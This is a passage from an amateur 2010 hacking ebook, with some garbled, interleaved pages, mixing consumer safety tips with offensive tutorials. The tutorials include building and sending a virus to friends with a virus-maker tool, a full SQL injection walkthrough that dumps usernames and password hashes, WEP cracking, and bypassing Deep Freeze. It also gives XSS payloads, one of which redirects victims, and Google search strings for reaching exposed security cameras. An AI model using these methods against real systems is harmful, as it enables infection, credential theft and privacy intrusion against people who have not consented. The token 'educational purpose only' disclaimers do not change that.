Anti netCut. This software can protect you when you surf the Internet using wireless networks in particular hotspot areas which may be used by the netters. By using antinetcut, then guaranteed you will be protected from ignorant people who use netCut to control bandwidth, LAN and Wireless network. Why Anti netcut 2? No internet disconnection any more, starts with operating system; you don't have to run every time turning on your PC. Lists all open ports in your connection (Security wise), Get your public IP address, Know who is cutting your connection, Direct link to internet connection speed meter, Direct link to spyware scanner, Direct link to free virus scanner and No Spyware
Step1:- Download the Anti NetCut 2 form Here Because You Will Need It. "Download it from here: http://www.hackingtech.co.tv/anti_netcut_2.rar ". Step 2:- Unrar The pack and install the software. Step 3:- There Will Be an Icon in the Task bar of Anti Net 2, like this.
Step 4:- To see who Using Net Cut is against you or who is attacking on our network, right click on this icon and Select "Who is using Net Cut". And you will get The IP addresses of the User in the window as shown below.
Step 5:- To see Your Open connections, means the Ports of the network which are not cut off By the NetCut 2.0. Right Click on the icon and Click on "My open connection" and you will get window like this.
Page 129
Hacking For Beginners – Manthan Desai
Step 6:- You are done now The Anti Net Cut 2 will automatically fix the error of internet Cut off Caused by Net Cut 2.0. "Do not use this hack trick in any criminal activities and please do not destroy any ones account this is for educational purpose only". "Use of anti Netcut is for countermeasure purpose and do not misuse the Netcut."
Page 130
Hacking For Beginners – Manthan Desai
18. WEP cracking using Airo Wizard
In This Tutorial We Will learn to hack/crack the WEP (Wired Equipped Privacy).
A WEP key is a security code used on some Wi-Fi networks. WEP keys allow a group of devices on a local network (such as a home network) to exchange encoded messages with each other while hiding the contents of the messages from easy viewing by outsiders. A WEP key is a sequence of hexadecimal digits. These digits include the numbers 0-9 and the letters A-F. Some examples of WEP keys are:
WEP keys are chosen by a network administrator. WEP keys are set on Wi-Fi routers, adapters and other wireless network devices. Matching WEP keys must be set on each device for them to communicate with each other. The length of a WEP key depends on the type of WEP security (called "encryption") utilized: 40- / 64-bit WEP: 10 digit key 104- / 128-bit WEP: 26 digit key
To assist with the process of creating correct WEP keys, some brands of wireless network equipment automatically generates WEP keys from ordinary text called a pass phrase. Air crack is an 802.11(protocol) WEP and WPA-PSK keys cracking application that is able to recover keys once enough data packets have been captured(Sniffed). It follows the standard FMS attack along with some optimizations like KoreK attacks, along with the all-new PTW attack, thus making the attack much faster and effective compared to other WEP cracking tools. In fact, Aircrack-ng is a set of tools for auditing wireless networks and not much known by the crackers.
"Download it from here: http://u.to/ayak ".
Page 131
co.hackingtech.Hacking For Beginners – Manthan Desai 2010 www.tv Page 132 .
12 Security tips for online shopping The internet is an exciting place to shop.co. 10. and avoid Internet fraudsters. Shopping online isn't just as safe as handing over your credit card in a store or restaurant. Remember to never respond to any email advertisement. All reputable websites use secure payment systems. When conducting a transaction over the internet. Only buy from trusted brands and websites. 11. This is an indication that the transaction is being conducted over a secure connection. 2.tv Page 133 . Following are the things you should take care of: 1. 5. from a new camera. From the comfort of your own armchair you can browse for literally anything. or even country and you can pick up deals at great prices on a whole range of products. 4. you might want to think twice before handing over your credit card number. www. 12. 9. Never respond to an email request for credit card details. Check a website's returns and privacy policy before going ahead with a purchase. 3. You should notice when you click through to the transaction page of a company's website that the URL in the address bar begins https:// (instead of the normal http ://). This is the standard encrypted communication mechanism on the internet and means that your credit card details are being sent securely. Beware of the limitations of the internet. it's also a good idea to install and use security software such as Kaspersky Internet Security. touch or try on. 6. You are not restricted to the stores in your local town. if you take care of few things it can be a safe deal.Hacking For Beginners – Manthan Desai 2010 19. However. It can provide you with industry-leading security services that will provide you more protection against the latest threats. and only visit sites you know or have book marked. The internet may not the best place to buy clothes or other products you need to see. and verify the address before browsing further. To ensure that you only do business with legitimate companies check to see if they have a contact number. look for the yellow padlock in the grey status bar at the bottom of your browser page. to a holiday or flight. These are either a company's own system or a 3rd party system such as Worldpay or Pay pal. 7. As an extra precaution check to see if there's a gold lock at the bottom of the right hand corner of the browser. If they don't include any of these reliable indicators. Check that you are entering your details through a secure payment connection. To be on the safe side.hackingtech. All reputable companies will conduct transactions with you over a secure website connection. an actual retail store and a printed catalogue to browse. Beware of deals that seem too good to be true. 8.
Step 2: See who has accessed your Gmail account recently. here is a step by step guide to help you check and determine if your Gmail account has been hacked or compromised in any way. what you'll see is a table of the most recent activity from your Gmail account. How to check if Your Gmail acc. Next. It shows you * * How it was accessed (Browser/mobile etc) * Where exactly the IP address is (So you can do some further digging) * When it was accessed Step 3: Understand the IP addresses – Has your Gmail really been hacked. is hacked How to check if your Gmail Account Has Been Hacked If you're worried about email security. Step 1: Find the 'Last Account Activity' Section In Your Inbox At the bottom of your Gmail inbox there is a 'Last Account Activity' section.co.hackingtech.Hacking For Beginners – Manthan Desai 2010 20. www.tv Page 134 . Click on 'details' to launch the full blown monitor.
as well as your recent activity log. they will almost certainly show up in your activity log. Step 5: Sign out All Other Sessions – If you forgot to sign out on a public computer.Hacking For Beginners – Manthan Desai 2010 If you see IP addresses from different countries. When this happens.tv Page 135 . Then make sure your new choices are very secure.). and how to check if your Gmail account has been hacked "Always use this method to sign out all other accounts if you have accessed the internet from public place or PC this will make your GMAIL account more secure". and the IP addresses look suspicious. your birth date. To do you own investigation. but it will resolve any careless mistakes. it is advisable to play it safe. but not easy to guess. your pet's name.hackingtech. avoid your mother's maiden name.domaintools.com) to identify the IP address. If you are worried you did not sign out of a public computer. If you use any 3rd party services which hookup to your Gmail account. you can 'sign out all other sessions'. So there you have it. Pick a question that can't be answered through research (for example. Step 4: Understand the alerts – Google's way of highlighting suspicious activity. Make sure your answer is memorable.co. don't be too quick to panic. This is also useful if you happen to lose your mobile phone and you want to ensure your email is not read by others. This won't fix any hacked Gmail accounts. and change your passwords immediately. assume your Gmail account has been hacked. www. Step 6: What to do if your Gmail account has really been hacked The first thing you do is change both your password and security question right away. your social security number. your first or last name. you can use Domain Tools (www. etc. A step-by-step guide on fully understanding Gmail's account activity log. and will also alert you if it sees suspicious activity both in your inbox. This will help you differentiate normal activity and your Gmail account being hacked. Google themselves have some really good tips. Use an answer that is a complete sentence for even more security. For example in the case of security questions: Choose a question only you know the answer to – make sure the question isn't associated with your password. Google will also do its fair share of monitoring. your phone number.
For more information on phishing visit my detailed post What is Phishing? 2. So it is highly recommended that you DO NOT respond to such fraudulent emails. Such an email is more than likely the type of Internet scam known as "phishing". Example: You may receive an email which claims to have come from your bank/financial institution/online service provider that asks you to click a link and update your account information. e-mail. Phishing is said to be highly effective and has proved to have more success rate since most of the common people fail to identify the scam. message boards. Phishing is the criminally fraudulent process of attempting to acquire sensitive information such as usernames. passwords and credit card details by masquerading as a trustworthy entity in an electronic communication. www. Here you'll be asked to enter your personal details such as username and password. Phishing is typically carried out by e-mail or instant messaging. Beware Of Common Internet Scam/Frauds The term Internet Scam or Internet Fraud refers to any type of fraud scheme that uses one or more online services to conduct fraudulent activities. In this post I will discuss about some of the commonly conducted scams and frauds across the Internet. Phishing Scam This is one of the most commonly used scam to steal bank logins and other types of passwords on the Internet. or Web sites. Most legitimate companies never request any kind of personal/sensitive information via email. 1. Once you enter your personal details they will be stolen away. This email claims that in return for the help you'll be rewarded a percentage of the fund that involves in the transaction. When you click such a link it will take you to a fake page which exactly resembles the original ones.Hacking For Beginners – Manthan Desai 2010 21.hackingtech. Nigerian Scams This type of scam involves sending emails (spam) to people in bulk seeking their help to access large amount of money that is held up in a foreign bank account.tv Page 136 . Internet fraud can take place on computer programs such as chat rooms. Never respond to these emails since it's none other than a scam.co.
In general. So this confirms that the email was not intended particularly for you.tv Page 137 . "Do not use this hacks & trick in any criminal activities like phishing bank websites and please do not destroy any ones account this is only for educational purpose".Hacking For Beginners – Manthan Desai 2010 In case if you respond to these emails you will be asked to deposit a small amount of money (say 1-2% of the whole fund) as an insurance or as an advance payment for the initialization of deal. 4.hackingtech. Ask you to provide sensitive personal information. Propose lucrative business deals However it may seem to be a difficult task for novice Internet users to identify such online scams. The following are some of the examples of them. Ask you to follow a link to a website and log on to an account. By knowing them it may help you to stay away. However if you send the amount in hope to receive the cheque all you get is nothing. be aware of unsolicited emails that: 1.co. The scammers use a variety of stories to explain why they need your help to access the funds. 4. Lottery Scams This type of scam is similar to the one discussed above. In turn they commonly address you something like "Dear User" or "Dear Customer" etc. After getting those details they may also send you an image of the cheque drawn in your name and address so as to confirm the deal. When you respond to such emails they initially ask for your complete name and address so that they can mail the cheque across to you. This is a clear indication that the email is a fraudulent one When you observe the email header you may notice in the "TO:" Field that. In fact "The large amount of money" never exists and the whole story is a trap for innocent people who are likely to become victims. Here are some of the common signs of such scam emails. 2. Examples: They may claim that political climate or legal issues preclude them from accessing funds in a foreign bank account. www. All these scam emails never address you by your name. Other General Scams and Frauds The following are some of the other types of scams that you should be aware of. They may claim that the person is a minor and hence needs your help to access the funds. It was forwarded for a large group of people and you are one among them. The message claims that your email ID was selected randomly from a large pool of IDs. You're just trapped in a wonderful scam scheme. They may claim that your last name is the same as that of the deceased person who owned the account and suggest that you act as the Next of Kin of this person in order to gain access to the funds. But in order to mail this cheque they demand a small amount of money as insurance/shipping charge/tax in return. 3. jobs or prizes. 3. Promise you money. However once you deposit the amount to the scammer's account you'll not get any further response from them and you lose your money. That's it. the same email is forwarded to a large group of people or the "TO:" field appears blank. UK Lottery) even though you have not participated in any such schemes. In this type you may receive an email saying that you have won a large sum of money in online lottery scheme (ex.
unless you have efficient Anti-Virus programs running. 4. Open only those emails that has it's origin from a trusted source such as those which comes from your contact list. yahoo. And finally NEVER click on any links in the emails that comes from untrusted sources. If you are using your own private email host (other than Gmail.hackingtech.htm. It is quite obvious for a malicious website to get listed in the search results. Outlook is more susceptible to worms than other e-mail programs.tif.html. If it is a picture. 3. Use Pegasus or Thunderbird (by Mozilla). be careful about using MS Outlook. So it is always a good habit to perform a virus scan before copying any data onto your computer. Install a good Antispyware program that operates against Internet malware and spy ware. So to avoid visiting those untrusted malicious websites.jpeg. you are probably safe.bmp. So it is always recommended to stay away from SPAM. Never open any email attachments that come from untrusted sources.Hacking For Beginners – Manthan Desai 2010 22. Don't click on pop-up windows that announce a sudden disaster in your city or announce that you've won an hourly prize. worms. So here are the tips for safe surfing habits so that you can ward off virus infection up to the maximum extent. 1. 2. . You can also use a pop-up blocker to automatically block those pop-ups.avi). you can download and install the AVG Link Scanner which is a freeware. hotmail etc.txt. . This tool can become very handy and will help you to stay away from malicious websites. Instead right-click on it and select the option "open". . . . This is a safe way to open a pen drive. 6. . www. USB thumb/pen drives are another common way by which viruses spread rapidly. 7. 12 Tips to maintain a virus free PC.) then it is highly recommended that you use good anti-spam software. 5. They are the ways to mislead Internet users and you should never trust them. text or sound file (these attachments end in the extensions . As we all know. .mp3. Most of us use search engines like Google to find what we are looking for.gif. and . Trojans etc. but still do a scan before opening.co. Internet is the main source of all the malicious programs including viruses. or a web-based program such as Hotmail or Yahoo (In Fire fox). NEVER double-click the pen drive to open it. Email is one of the common ways by which your computer can catch a virus. In fact Internet contributes to virus infection by up to 80%.tv Page 138 .
The disk could be infected with a virus. you can run a virus scan on it first to check it out.co. make sure that you run a virus scan before executing them. 9. warez etc. even from work. Set up your Windows Update to automatically download patches and upgrades. 10. Make sure that this feature is turned on. since they contribute much in spreading of viruses and other malicious programs. If PC security is your first option then it is recommended that you go for shareware antivirus software over the free ones. warez etc. This will allow your computer to automatically download any updates to both the operating system and Internet Explorer.hackingtech. While you download files from untrusted websites/sources such as torrents. These updates fix security holes in both pieces of software. Most of the antivirus supports the Auto-Protect feature that provides real-time security for your PC. www. Do not use disks that other people gave you.tv Page 139 .Hacking For Beginners – Manthan Desai 2010 8. Install good antivirus software and keep it updated. This is the most essential task to protect your PC from viruses. 11. It is highly recommended that you turn on the automatic update feature. serials. Also perform full system scan periodically. Of course. 12. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks.
google. Always install a good antivirus software and keep it up-to-date. As a result. Regularly update your operating system and browser software.tv Page 140 . 5. Online Security has become a questionable factor for the most Internet users. bank logins etc. to login to your yahoo mail account type http://mail.com 7. For e.com instead of http://mail. 4. Well if you are one among those 91% then here is a list of 10 tips to ensure your total online security. However it is still possible to effectively combat online insecurity provided that the users are well aware of the common scams and frauds and know how to protect themselves. ensure that you see https instead of http. 10 Tips for Total Online Security. Today most of the Internet users are unaware of the most prevailing online threats which pose a real challenge for their safe Internet usage. Choose a strong password (A blend of alphanumeric special symbols) and change it regularly. For more information on HTTPS and SSL see Know More about Secure Sockets Layer (SSL). Always type the URL of the website in your browser's address bar to enter the login pages. If you are about to visit an unknown website. there has also been a rise in the amount of online scams and frauds. Avoid using easy-to-guess passwords. 1. Every 3 months. pet's name or kid's name) 6. HTTPS protocol implements SSL (Secure Sockets Layer) and provide better security than a normal HTTP.co.google. With the sudden rise in the Internet usage across the globe over the past few years. Also install a good anti-spyware to keep your PC away from spywares.g. Always visit known and trusted websites. (ex. 2. Perform a virus scan on the files/email attachments that you download before executing them. For a better security it is recommended that you surf the Internet through the latest version of your browser program.hackingtech.) with any one for any reason. Before you enter your password on any login page. www. ex. https://mail.com. eg.yahoo. ensure that you do not click on suspect able links and banners. 3. A study shows that over 91% of the Internet users are unaware of the online scams and are worried about their security. Never share your password (email.Hacking For Beginners – Manthan Desai 2010 23.
Always hit the logout button to close your login session rather than abruptly terminating the browser window.hackingtech. Such links can lead to Fake Login Pages (Spoofed Pages). www. You cannot be sure if any spyware.co. Avoid (Stop) using any public computers or computers in the Internet cafes to access any sensitive/confidential information.tv Page 141 . password-sniffer and other malicious programs have not been installed on such a PC. Beware of phishing emails! Do not respond to any email that request you to update your login details by clicking on a link in the body of the email. Also clear your web browser caches after every session to remove the temporary files stored in the memory and hard disk of your PC. 10. For more information on phishing refer what is Phishing? 9. Also avoid such computers to login to your email/bank accounts.Hacking For Beginners – Manthan Desai 2010 8. keystroke-logger.
3. It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant information in your secondary email mailbox. What to do when your orkut acc. It however requires you to remember the exact date when you created that Gmail account. is hacked What to do when your orkut account is hacked It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail. For Google Accounts Associated with Gmail: If you have problems while logging into your Gmail account. For Hijacked Google Accounts Not Linked to Gmail: If your Google Account doesn't use a Gmail address. Here are some options suggested by Google Support when you forget the Gmail password or if someone else takes ownership of your Google Account and change the password: 1.tv Page 142 . This will not work if the other person has changed your secondary email address or if you no longer have access to that address. Orkut. contact Google by filling this form.hackingtech.Hacking For Beginners – Manthan Desai 2010 24. 2. www. Reset Your Google Account Password: Type the email address associated with your Google Account or Gmail user name at google.co. Google Calendar.com/accounts/ForgotPasswd you will receive an email at your secondary email address with a link to reset your Google Account Password. Google Docs and even Google Checkout are tied to the same account. Blogger. Ad Sense. This approach may help bring back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation date of your Google Account plus a copy of that original "Google Email Verification" message. you can consider contacting Google by filling this form.
Step 3:.hackingtech.Unrar the pack. Step 1:.tv Page 143 .hackingtech. (Fig -2) Step 5:.Now Select any (can be more then one) Victim option from the given options as done above. Making a computer virus In This Tutorial we will study about the Making of Computer virus in an easy way with software named "JPS Virus Maker". Step 2:. Let's start the tutorial.rar ". (Fig -3) www.tv/JPS_Virus_Maker.co. "Download JPS Virus Maker from here: http://www.co.Hacking For Beginners – Manthan Desai 2010 25. (Fig -1) (Fig -1) (Fig -2) Step 4:.Download the Necessary software for VIRUS making.For Virus of Fake Message select the Fake Error Message and write the message you want to display in caption and Title Like "Error" as shown below.Now open the software and You Will Get the Following Screen.
hackingtech. www.tv Page 144 . (Fig -4) Step 7:-To Run any program on starting the XP click on "Run Xp Program before Execute ".co.Hacking For Beginners – Manthan Desai 2010 (Fig -3) (Fig -4) Step 6:-To change the Password of the computer on execution of virus check CHANGE XP PASSWORD and type the new password. And then select any Program from list you want to run at the Starting on Xp.
Click on the "make virus" Button and the virus is made.Now select any virus Name from the list so it cannot be seen in the process from its own name. (Fig -6) 2010 (Fig -6) (Fig -7) Step 9:. (Fig -7) Step 10:.Now select any server Icon. www.co.Hacking For Beginners – Manthan Desai Step 8:.hackingtech. it is the icon of the virus file.tv Page 145 .
co.Now send this file to your friends and see what happens to his/her PC.hackingtech. 2010 "Do not use this hacks & trick in any criminal activities like phishing bank websites and please do not destroy any ones account this is only for educational purpose". www.Hacking For Beginners – Manthan Desai Step 11:.tv Page 146 .
site.hackingtech.( In shortly).com/news.com/news. Step 3:.com/news. It allows attacker to execute database query in url and gain access to some confidential Information etc. because we got an error on 4. SQL injection for website hacking In this tutorial I will describe how sql injection works and how to use it to get some useful information. http://www.php?id=5 order by 1/* <-.site.error (We get message like this Unknown column '4' in 'order clause' or something like that) That means that the it has 3 columns.no error http://www.site.no error http://www. 1.Check for UNION function www.no error http://www.co.tv Page 147 . SQL Injection (classic or error based) 2..php?id=5 Now to test if is vulnerable we add to the end of url ' (quote).site.com/news.Check for vulnerability Let's say that we have some site like this http://www. Blind SQL Injection (the harder part) So let's start with some action Step 1:.Hacking For Beginners – Manthan Desai 2010 26. check the manual that corresponds to your MySQL server version for the right etc. and that would be http://www.com/news.php?id=5' so if we get some error like "You have an error in your SQL syntax.php?id=5 order by 4/* <-. First of all: What is SQL injection? It's one of the most common vulnerability in web applications today.php?id=5 order by 2/* <-.." Or something similar That means is vulnerable to sql injection :) Step 2:.site.php?id=5 order by 3/* <-.com/news.site.Find the number of columns To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error...
. then try the other column name) We get username displayed on screen.1. so i must write it . http://www.site. passwd.concat (Username.0.http://www.@@version.com/news.site. then try the other column name) We seen password on the screen in hash or plain-text.33.. its hex value for: (so 0x3a is hex value for colon) (There is another way for that. example would be admin.com/news.e.. it depends of how the database is set up ..site. Common table names are: user/s.it's a comment and it's important for our query to work properly... md5 hash. 4.. http://www.3/* NOTE: if /* not working or you get some error.. It should look like this http://www. Step 5:. and that's good ) We know that table admin exists.e.password.co.3 from admin/* (If you get an error.php?id=5 union all select 1. user.e. char (58). 4. then try -. What we need is convert () function i.) <--.php?id=5 union all select 1.later I will describe for MySQL > 5 version..site.com/news.site.site..e.php?id=5 union all select 1.site.php?id=5 union all select 1.2. common column names are: username.com/news..e.3 from admin/* (If you get an error.com/news. sha1.php?id=5 union all select 1.com/news.e. usr.com/news. would be http://www.. password).Check for MySQL version http://www. if we see some numbers on screen. Now to check if column password exists http://www.45 or similar.tv Page 148 .3 from admin/* Note that I put 0x3a.Hacking For Beginners – Manthan Desai 2010 With union we can select more data in one sql statement.php?id=5 union all select 1. username.php?id=5 union all select 1. pass. pwd etc.3/* Or with hex () and unhex () i.2. i. 0x3a.3/* And you will get MySQL version.username. So we have http://www. Let's say that we have number 2 on the screen.Getting table and column name Well if the MySQL version is < 5 (i. Now to check column names. 1 or 2 or 3 then the UNION works Step 4:..com/news.1.33-log or 5. i.site. now to check for version we replace the number 2 with @@version or version () and get something like 4.12..1.3/* if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) .e.php?id=5 union all select 1. admin/s. ASCII value for : ) www. http://www.hackingtech.com/news. Now we must complete query to look nice :) For that we can use concat () function (it joins strings) i.convert(@@version using latin1).unhex(hex(@@version)).site." I didn't see any paper covering this problem. or superadmin etc.3/* (We already found that numbers of columns are 3 in section 2). password. and member/s . We must guess table and column name in most cases.2. mysql hash.3 from admin/* (We see number 2 on the screen like before.php?id=5 union all select 1. I.
1/* the second table is displayed.php?id=5 union all select 1.php?id=5 union all select 1.3 from information_schema. Note that this won't work if the magic quotes is ON. here we use column_name and information_schema.table_name.site.3 from information_schema. Now we must add LIMIT to the end of query to list out all tables.3 from information_schema. auth_user etc. pass and email. admin:admin or admin:somehash when you have this.user/* Step 6:.e http://www. let's say that we found colums user.site.user (default) it has user i password columns.user. :D To get the column names the method is the same.1 to limit 1. i.char(58).com/news.e. Just using LIMIT we can list all columns in table users.php?id=5 union all select 1. (where clause) let's say that we found table users.Hacking For Beginners – Manthan Desai 2010 http://www. we change limit 0.1/* the second column is displayed.tables limit 2. http://www.site. i.e http://www.hackingtech..0x3a.php?id=5 union all select 1.table_name.e http://www.site.com/news. http://www. for third table we put limit 2.3 from mysql.php?id=5 union all select 1. password).login.3 from admin/* Now we get displayed username:password on screen.com/news.e..table_name.column_name. if you wanna display column names for specific table use this query.1 i.columns the method is same as above so example would be http://www.3 from information_schema.e http://www.MySQL 5 Like I said before I'm going to explain how to get table and column names in MySQL > 5. pass.1) ie.concat (username.column_name.3 from information_schema.com/news.tv Page 149 .3 from information_schema.com/news.site.com/news.tables.column_name.tables limit 0..com/news.1 (get 1 result starting from the 0th) now to view the second table.1/* the first column is diplayed.3 from information_schema.tables/* Here we replace the our number 2 with table_name to get the first table from information_schema. the second one (we change limit 0.php?id=5 union all select 1.co.php?id=5 union all select 1.tables limit 1. poll_user.password) . For this we need information_schema.site. To get tables we use table_name and information_schema.1 to limit 1. i. auth.com/news..php?id=5 union all select 1. passwd etc. you can always try mysql.1 i.1/* note that i put 0. www.1/* keep incrementing until you get some useful like db_admin.com/news.concat (user.site.columns where table_name='users'/* now we get displayed column name in table users.site.site.columns limit 0. It holds all tables and columns in database.table_name. password.php?id=5 union all select 1. you can login like admin or some superuser if can't guess the right table name. so example would be http://www. i. so keep incrementing until you get something like username.tables displayed on the screen.columns limit 1.
0x3a.concat (user. example: admin:pass:email@example.com 2010 "Do not use this hacks & trick in any criminal activities like phishing bank websites hacking the web servers and please do not destroy any ones account this is only for educational purpose".Hacking For Beginners – Manthan Desai now to complete query to put them all together for that we use concat() .php?id=5 union all select 1.pass.email) from users/* what we get here is user:pass:email from table users. i.e http://www.co.tv Page 150 . i decribe it earlier.com/news.hackingtech.0x3a. www.
When it does close the connection. before closing the connection. (BUYX) was hit the next day. the attacker sends a new batch of forged requests.hackingtech. the user sends several authentication requests to the server. the user sends a message asking the server to authenticate it. And in the morning.Hacking For Beginners – Manthan Desai 2010 27. Typical connection www. the mayhem continued with online broker E*Trade (EGRP) and others having traffic to their sites virtually choked off. and the process begins again--tying up the service indefinitely.com Inc. All requests have false return addresses.co. The server returns the authentication approval to the user. In a denial of service attack. Amazon. eBay (EBAY). sometimes more than a minute. and CNN (TWX) had gone dark. 2000 Yahoo portal was shut down for 3 hours.tv Page 151 . The user acknowledges this approval and then is allowed onto the server.com (AMZN). How a "denial of service" attacks works In a typical connection. The server waits. so the server can't find the user when it tries to send the authentication approval. How a 'Denial of service' attack works On February 6th. hours after going public. By that evening. filling it up. Then retailer Buy.
the filter can be instructed to block messages containing that pattern. If a pattern comes in frequently. www. or "sniffer. protecting the Web servers from having their lines tied up.tv Page 152 . The filter can look for attacks by noticing patterns or identifiers contained in the information.hackingtech.co." on a network before a stream of information reaches a site's Web servers.Hacking For Beginners – Manthan Desai 2010 "Denial of service" attack How to block a "denial of service" attack One of the more common methods of blocking a "denial of service" attack is to set up a filter.
tv Page 153 .co. www.hackingtech.Hacking For Beginners – Manthan Desai 2010 "Do not use this hacks & trick in any criminal activities like phishing bank websites hacking the web servers and please do not destroy any ones account this is only for educational purpose".
Others reported that offensive messages were popping up on their screen or scrolling horizontally in large fonts and striking colours.tv Page 154 . often to sites promoting pornographic content. Some users also seemed to suggest that there were experiencing page redirects.Hacking For Beginners – Manthan Desai 2010 28.co. www. the comments section of their videos seemed to be most severely affected. many complained that old comments vanished and new comments could not be added. Within minutes it was apparent that the YouTube website was under attack.hackingtech. YouTube users voiced their experiences on YouTube message boards. Twitter and other social networking sites. XSS vulnerability found on You Tube On the 4th of July 2010 YouTube users began complaining that their videos had been hijacked.
The attacker would simply paste his malicious script into the comments field that is available under videos on the YouTube website.hackingtech. and other nastiest caused by XSS attacks. Other YouTube users urged others to log out from their account. tarnish Google's reputation and raise new awareness to everyone. Very few realized that what they had just witnessed was probably the single most embarrassing and largest security breach that Google has ever suffered. how can Google and YouTube suffer from such a classic XSS attack as this one? The YouTube XSS Vulnerability Explained In XSS (Cross Site Scripting) attacks such as this one the attacker manages to 'inject' JavaScript code into the target website. In this attack the Comments feature of YouTube videos was targeted.Hacking For Beginners – Manthan Desai 2010 You Tube's XSS (Cross Site Scripting) defences had been defeated. for fear of cookie hijacking. asking users to stay off YouTube. YouTube servers were cleaned out rebooted and the Internet as we know it was restored to normality.tv Page 155 . www. Within an hour or two the problem was fixed. This flaw could. People ask.co. Above: Some users reported this screen when browsing the YouTube site during the attack. and probably will. Security-minded people began shouting warnings.
but the <script> tag is still not properly closed. This attack is a stark reminder of how vulnerable Internet users are to XSS attacks. or whether it was a recently introduced bug. If Google and YouTube cannot keep their users safe. admitted to the attack (Google acknowledges YouTube hack."><font style:="font-size:60px" color="red"><u style="">*TEXT HERE*<script> Similar to the previous two examples. for example the <script> tag was properly terminated. the IF_HTML_FUNCTION keyword is missing.Hacking For Beginners – Manthan Desai In its simple form. so I was not able to determine what would happen if.tv Page 156 . By the time I go around to creating my own experiments. then who can? "Warning! Do not use this attack again on youtube and try to hack it as they are back tracking this type of illegal activities. I also noticed that the <script> tag is not properly closed. background-color: rgb(0. During the time the YouTube was vulnerable users began creating variants of the marquee script. In the case of YouTube. www. Lessons Learned and Countermeasures It is still not clear whether this attack existed for a long time but never noticed. A classic and relatively simple attack worked against the biggest Internet giant. one of which would redirect users to go at an infamous hacker web site. top: 0px. Security testing and vulnerability scanning are not exercises that are done once and then never again. and without detailed. the user would put in a comment such as this one: 2010 <script><h1><marquee><font color="red"><u>Ha-Ha – This text will scroll in red. on your screen<script> Apart from this keyword. 0). this is for educational purpose only". they also very briefly. in the following way: <Script>IF_HTML_FUNCTION? <h1><marquee><font color="red"><u>Ha-Ha – This text will scroll in red. which will have the effect of making the entire page black. the keyword IF_HTML_FUNCTION? Appears after the <script> tag.hackingtech. as can be seen below. My gut feeling is that a recent software update introduced this security hole. hopefully YouTube will explain to us how this XSS vulnerability was made possible. on your screen</script> In this particular attack. They need to be re-done each time a software update is made to your web apps. except for the words *TEXT HERE*: <script><h1><marquee style="position: absolute. this is probably a daily exercise. and just like the example before this one. right: 0px. Videos emerged of other users experimenting with this newly discovered flaw. incorporate security test in your QA process. <script><BODY onLoad="var a = '\x68\x74\x74\x70\x3a\x2f\x2f' + '\x77\x77\x77\x2e' + 'goatse' + '\x2efr'." One thing to note about this attack script is that the IF_HTML_FUNCTION? Is missing. if this is the case. left: 0px. One user made a video of himself exploiting the following script.co.href = a. This is probably what caused other scripts on the same page to stop functioning. z-index: 9999999. bottom: 0px. however it impeded me from carrying out further tests.) The fix was swift and effective. the <script> tag is not properly closed. preferably with automated tools such as vulnerability scanners. YouTube had already fixed the problem. it reinforces what some security experts are saying. location. 0.
Step 5:.Hacking For Beginners – Manthan Desai 2010 29.exe Step 3:.Open that software and click on Boot Thawed radio button and click on load status. Where permissions are not granted to install any software on computer so you can use following steps to crack Deep Freeze.tv/DeepUnfreezerU1. The Deep Freeze is hacked.hackingtech. Step 1:. www.6.rar". "Download It from Here: http://www.6.co. Hacking Deep Freeze Deep Freeze uses a unique method of disk protection to preserve the exact original standard system configuration on over eight million Windows & Macintosh & Linux computers worldwide! This Attack can mostly be used in cyber café's / colleges / schools etc.tv Page 157 .co. Step 2:.hackingtech.Unrar the downloaded Software and You will find the file named DeepUnfreezerU1.First of all you need software called Deep Unfreezer. Step 4:.Restart the Computer and You are done.After loading the status click on save status button.
Hacking For Beginners – Manthan Desai 2010 Now Again to Lock the Deep Freeze or Freeze the System as it was before cracking the Deep Freeze follow Steps Below. Step 3:.tv Page 158 .Open the software. Step 2:. www.Select the boot frozen radio button and click on load status.hackingtech. "Do not hack any ones PC and install any illegal software like key loggers by hacking the Deep Freeze. this is for educational purpose only". Step 4:.After loading the status click on save status button. Step 1:.co.Restart the Computer and You are done. The Deep Freeze has been locked again.
). as this will not go unnoticed if too many attempts are made.co. and input any of the search commands as listed below. Google. you may be able to control the camera like zoom.html" intitle:"Live NetSnap Cam-Server feed" intitle:"Live View / – AXIS 206M" intitle:"Live View / – AXIS 206W" intitle:"Live View / – AXIS 210″ www. inurl:/view.shtml^ inurl:ViewerFrame?Mode= inurl:ViewerFrame?Mode=Refresh inurl:axis-cgi/jpg inurl:view/index. Do not try to get onto password protected cameras. Step 2. and tilt the camera to see what you want to.tv Page 159 . Open internet your web browser. etc.e. you will see some search results. Step 5. Some Commands to be Remember to Find Live CCTV Cameras.hackingtech. Yahoo.shtml intitle:"Live View / – AXIS" | inurl:view/view.shtml inurl:view/view. How to watch security cameras on internet There are some Steps "How to watch Security Cameras on Internet" Step 1. click on any one of them. Depending on the type of camera that you have access to. Step 4. Step 3. Go to a search engine of your choice (i. pan.Hacking For Beginners – Manthan Desai 2010 30. After you search one of these queries.shtml liveapplet intitle:liveapplet allintitle:"Network Camera NetworkCamera" intitle:axis intitle:"video server" intitle:liveapplet inurl:LvAppl intitle:"EvoCam" inurl:"webcam.
shtml Axis intitle:start inurl:cgistart intitle:"WJ-NT104 Main Page" intitle:snc-z20 inurl:home/ intitle:snc-cs3 inurl:home/ intitle:snc-rz30 inurl:home/ intitle:"sony network camera snc-p1″ viewnetcam.tv Page 160 .com intitle:"Toshiba Network Camera" user login intitle:"i-Catcher Console – Web Monitor" Use these commands in Google Search and get the desired result.Hacking For Beginners – Manthan Desai 2010 inurl:indexFrame. www. "Do not misuse this hack or attack in any illegal activities as this is for educational purpose only".hackingtech.co.
